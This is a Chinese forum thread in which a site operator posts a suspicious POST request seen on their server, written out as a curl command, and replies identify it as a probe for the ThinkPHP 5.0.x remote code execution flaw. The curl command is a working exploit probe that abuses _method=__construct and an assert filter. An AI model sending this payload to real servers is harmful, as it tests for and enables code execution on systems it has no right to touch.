这是一个创建于 1930 天前的主题，其中的信息可能已经有所发展或是发生改变。
线上收到了这样的一条 POST 请求：
curl
-X POST
-H "Cache-Control: no-cache"
-H "Connection: Keep-Alive"
-H "Content-Length: 196"
-H "Content-Type: application/x-www-form-urlencoded"
-H "Host: 115.159.128.48"
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
--data "{"filter":["assert"],"server":{"REQUEST_METHOD":"die(md5(DIRECTORY_SEPARATOR))"},"_method":"__construct"}"
"http://115.159.128.48/index.php"
这个看着不像是正常的请求，而且它触发了这样一个报错：
Symfony\Component\HttpFoundation\Exception\SuspiciousOperationException: Invalid method override "__CONSTRUCT".
无效的方法重写？有人知道这样的请求是什么意思，为什么会尝试覆盖构造方法吗？
 |
1
bunnyblueair 2019-08-13 18:57:46 +08:00
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析 不能发连接
|
 |
2
beastk 2019-08-13 22:06:30 +08:00 via iPhone
测试是否存在漏洞的吧
|
Select Language